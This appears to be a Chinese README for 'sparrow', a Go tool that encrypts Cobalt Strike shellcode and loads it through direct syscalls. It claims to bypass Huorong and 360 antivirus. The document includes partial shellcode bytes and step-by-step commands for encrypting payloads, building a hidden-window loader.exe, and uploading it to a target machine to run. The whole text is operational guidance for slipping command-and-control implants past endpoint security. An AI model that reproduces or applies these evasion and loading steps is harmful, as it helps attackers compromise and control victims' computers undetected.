目前测试了火绒和360,静态动态都能免杀,静态VT检测效果一般
- 基于Syscall进行免杀shellcode加载
- 已经实现的加密/编码:des,rc4,aes,3des,base64
- 在已实现的加密方式中,加密顺序可以随意指定
目前支持CS中C语言格式和Raw格式的shellcode
C语言字符串格式shellcode
/* length: 891 bytes */
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52......";
纯十六进制格式的shellcodes
fc48 83e4 f0e8 c800 0000 4151 4150 5251
5648 31d2 6548 8b52 6048 8b52 1848 8b52
2048 8b72 5048 0fb7 4a4a 4d31 c948 31c0
ac3c 617c 022c 2041 c1c9 0d41 01c1 e2ed
1、编译sparrow.go(不想编译直接go run
也行)
找到项目中builder/sparrow.go文件,然后如图编译即可
2、使用sparrow.exe加密shellcode
在CS中生成需要格式的shellcode,将CS生成的原始.bin文件或.c文件放在sparrow.exe同一目录,使用命令
#.bin文件
.\sparrow.exe -e des,rc4,aes,3des,base64 -f .\payload.bin
#.c文件
.\sparrow.exe -e des,rc4,aes,3des,base64 -f .\payload.c
注意:-e参数必须使用base64编码结尾
3、将加密之后的shellcode填充到/loader/loader.go
中的shellcode变量
4、将-e参数的值
(加密顺序)填充到/loader/loader.go
中的encodestr变量中
5、编译/loader/loader.go
文件
go build -trimpath -ldflags="-w -s -H=windowsgui" ./loader/loader.go
6、上传到目标机器,使用loader.exe -token
命令加载shellcode